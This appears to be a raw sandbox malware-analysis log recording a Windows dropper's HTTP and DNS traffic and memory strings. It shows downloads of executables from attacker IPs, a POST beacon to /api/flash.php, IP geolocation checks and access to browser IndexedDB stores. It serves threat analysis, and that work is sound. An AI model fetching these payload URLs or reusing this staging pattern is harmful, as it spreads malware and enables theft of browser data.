Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /profiles/76561199680449169 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=149.18.24.96 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cacheCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`,]q equals www.youtube.com (Youtube)
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,]q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: dod.fastbutters.com
Source: global traffic	DNS traffic detected: DNS query: pofix.red
Source: global traffic	DNS traffic detected: DNS query: vk.com
Source: global traffic	DNS traffic detected: DNS query: sextipolar.sbs
Source: global traffic	DNS traffic detected: DNS query: zanzibarpivo.com
Source: global traffic	DNS traffic detected: DNS query: monoblocked.com
Source: global traffic	DNS traffic detected: DNS query: triedchicken.net
Source: global traffic	DNS traffic detected: DNS query: carthewasher.net
Source: global traffic	DNS traffic detected: DNS query: cheremushki.net
Source: global traffic	DNS traffic detected: DNS query: f.123654987.xyz
Source: global traffic	DNS traffic detected: DNS query: sun6-23.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-20.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-21.userapi.com
Source: global traffic	DNS traffic detected: DNS query: iplis.ru
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: browser.events.data.msn.com

Source: unknown

HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 113Host: 5.42.66.10

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 01 May 2024 18:26:14 GMTContent-Type: text/html; charset=utf-8Connection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 01 May 2024 18:26:13 GMTSet-Cookie: _subid=2aviuam2be2o6; expires=Sat, 01 Jun 2024 18:26:13 GMT; path=/Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0; expires=Thu, 01 Sep 2078 12:52:26 GMT; path=/Vary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 87d1d192fd556ff2-IAD
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 01 May 2024 18:26:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 01 May 2024 18:26:14 GMTSet-Cookie: _subid=2aviuam2be2oo; expires=Sat, 01 Jun 2024 18:26:15 GMT; path=/Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0; expires=Thu, 01 Sep 2078 12:52:30 GMT; path=/Vary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 87d1d1999f3f8238-IAD

Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/dl.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe(
Source: tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.139/rumba/buben.exe9
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe0.1
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe192.168.06
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/api/flash.php
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/api/flash.phpf
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exed
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exei
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/123p.exez
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpk
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/getimage15.phpw
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpK
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpW
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phphp
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/retail.phpz
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php#
Source: tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php-
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.php;
